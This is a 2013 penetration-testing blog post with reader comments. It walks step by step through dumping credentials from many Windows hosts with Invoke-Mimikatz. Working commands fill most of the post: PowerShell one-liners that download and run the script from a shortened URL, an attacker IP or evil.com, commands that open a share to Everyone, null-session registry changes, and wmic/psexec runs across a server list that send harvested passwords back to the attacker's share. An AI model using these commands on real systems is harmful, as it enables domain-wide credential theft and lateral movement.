Friday, October 4, 2013

Dumping a domain's worth of passwords with mimikatz

Rob Fuller
/ 2:03 AM

clymb3r recently posted a script called "Invoke-Mimikatz.ps1 " basically what this does is reflectively injects mimikatz into memory, calls for all the logonPasswords and exits. It even checks the targets architecture (x86/x64) first and injects the correct DLL.

You can very easily use this script directly from an admin command prompt as so:

```
powershell "IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI');
Invoke-Mimikatz -DumpCreds"
```

(This works REALLY well for Citrix and Kiosk scenarios and it's too hard to type/remember)
This runs the powershell script by directly pulling it from Github and executing it "in memory" on your system.

One of the awesome added capabilities for this script is to run on a list of hosts. as so:

```
powershell "IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI');
Invoke-Mimikatz -DumpCreds -ComputerName @('computer1', 'computer2')"
```

This works great as all the output is directly on your system and all executed through Powershell Remoting. Powershell Remoting is pretty much the same as WinRM. This service however is not enabled by default and can be pretty hit or miss on how much any given enterprise uses WinRM. However, it is usually the servers and more important systems that have it enabled more often than not.

You can find WinRM / PowerShell Remoting by scanning for the service port 47001 as well as the default comm ports for WinRM 5985 (HTTP) and 5986 (HTTPS).

If you find that your target isn't a WinRM rich environment or you just want more passwords you can take a slightly more painful route, I call it "Mass Mimikatz"

Step 1. Make a share, we are doing this so we can not only collect the output of all our computers passwords, but to host the CMD batch file that will run the powershell script:

```
cd\
mkdir open
net share open=C:\open /grant:everyone,full
icacls C:\open\ /grant Everyone:(OI)(CI)F /t
```

We are setting "Everyone" permissions on a Share (net share) and NTFS (icacls) level for this to work properly.

Step 2. Set registry keys. There are two registry keys that we need to set. The first allows Null Sessions to our new share and the second allows null users to have the "Everyone" token so that we don't have to get crazy with our permissions. I have create a meterpreter script that has a bunch of error checking here: massmimi_reg.rb
or you can just make the following changes"

```
HKLM\System\CurrentControlSet\services\LanmanServer\Parameters
NullSessionShares REG_MULTI_SZ  = open
HKLM\System\CurrentControlSet\Contol\Lsa "EveryoneIncludesAnonymous" = 1
```

Step 3. Change directory into new "open" directory. This is so our uploads and in particular our web server will be hosted out of the correct directory.

Step 4. Upload powershell script powermeup.cmd - this script will run our hosted Invoke-Mimikatz script on each host:

```
powershell "IEX (New-Object Net.WebClient).DownloadString('http://
192.168.1.127:8080/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds >
\\192.168.1.127\open\%COMPUTERNAME%.txt 2>&1
```

Step 5. Upload clymb3r 's Invoke-Mimikatz ps1 - Download from PowerSploit repo: source on github

Step 6. Upload mongoose: Downloads Page - Both regular and tiny versions work. This is an awesome, single executable webserver that supports LUA, Sqlite, and WebDAV out of the box. Tiny version is under 100k.

Step 7. Upload serverlist.txt - This is a line by line list of computer names to use mimikatz on. You'll have to gather this one way or another.

Step 8. Execute mongoose (from directory with mimikatz.ps1) - This will start a listener with directory listings enabled on port 8080 by default

Step 9a. Execute wmic:

```
wmic /node:@serverlist.txt process call create
"\\192.168.92.127\open\powershellme.cmd"
```

Step 9b. Execute wmic with creds:

```
wmic /node:@serverlist.txt /user:PROJECTMENTOR\jdoe /password:ASDqwe123
process call create "\\192.168.92.127\open\powershellme.cmd"
```

Step 10. Watch as text files full of wonder and joy fill your share.

You can find the scripts here: https://github.com/mubix/post-exploitation/tree/master/scripts/mass_mimikatz

Don't forget to clean up::

Step 1. kill mongoose process
Step 2. net share open /delete
Step 3. kill/reset registry values
Step 4. delete "open" directory

Got a better way of getting this done? Please leave a comment.

P.S. You could just enable Powershell Remoting for them ;)

```
psexec @serverlist.txt -u [admin account name] -p [admin account password] -h -d
powershell.exe "enable-psremoting -force"
```

--mubix

I got passwords from here,here,here,here, EVERYWHERE!

Rob Fuller
2:03 AM
mimikatz , mubix , powershell , wmic

Share Post

Rob Fuller

6 comments:

Anonymous said...

I'd rather get lsass.exe process memory (via procdump.exe for example) from everyone, and then run minidump from mimikatz in local
(http://blog.gentilkiwi.com/securite/mimikatz/minidump)
At least, you won't make any dll injection to any host but yours.

October 4, 2013 at 4:07 AM

CG said...

yeah but each of those outputs is about 40MB per host, more if its a big server. you may be in a position not to care about moving that much data around but if you have to pull it down to a remote host off the network you certainly will.

October 4, 2013 at 8:19 AM

Anonymous said...

It's worth noting that there isn't "DLL injection" happening. PowerShell is reflectively loading mimikatz.dll in to the PowerShell process. The worst thing that could happen if the code has bugs is Powershell would crash, but NOT lsass.

clymb3r

October 4, 2013 at 11:14 AM

b00stfr3ak said...

Once I have valid creds I use psexec_commad to gain shells with powershell. I then wrote a metasploit post mod that will load mimikatz and dump the passwords to the creds db. I also wrote a resource file that will loop through all available sessions.

https://github.com/b00stfr3ak/misc/tree/master/metasploit

October 4, 2013 at 11:54 PM

mmesellem said...

You could simply use Smbexec with a custom PowerShell script:

"IEX (New-Object Net.WebClient).DownloadString('http://evil.com/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"

Smbexec makes use of winexe. There is even an option that creates a host list. So you can run your PowerShell script in a loop, targetting every host in the host list with the correct credentials.

No need for a SMB share, or WebDAV server. So easy ;)

By the way, great article!

January 2, 2014 at 11:33 AM

Stewart Fey said...

All great posts on Mimikatz. I seem to remember seeing a chart showing what O/S version will work with what O/S versions for offline dumping. Do you have one?

November 4, 2014 at 4:24 PM

Post a Comment

Tweets

Tweets from https://twitter.com/carnal0wnage/lists/blog-authors

Blog Archive

- ► 2016 (3)
- ► 2015 (31)
- ► 2014 (10)
- ▼ 2013 (22)
  - ► December (3)
  - ▼ October (2)
    - AD Zone Transfers as a user
    - Dumping a domain's worth of passwords with mimikat...
  - ► September (3)
  - ► August (1)
  - ► July (3)
  - ► May (2)
  - ► April (3)
  - ► March (3)
  - ► January (2)

- ► 2012 (53)
- ► 2011 (50)
- ► 2010 (54)
- ► 2009 (125)
- ► 2008 (169)
- ► 2007 (73)

Links

- Attack Research
- carnal0wnage On Slideshare
- carnal0wnage Vimeo Channel
- carnal0wnage
- NoVA Hackers

Recent Posts

POPULAR POSTS

Recent Posts

￼￼￼￼￼￼￼￼￼

Contributors

- Jhaddix
- Dark Floyd
- Rob Fuller
- amesc
- kuzushi
- Mike
- valsmith
- cktricky
- CG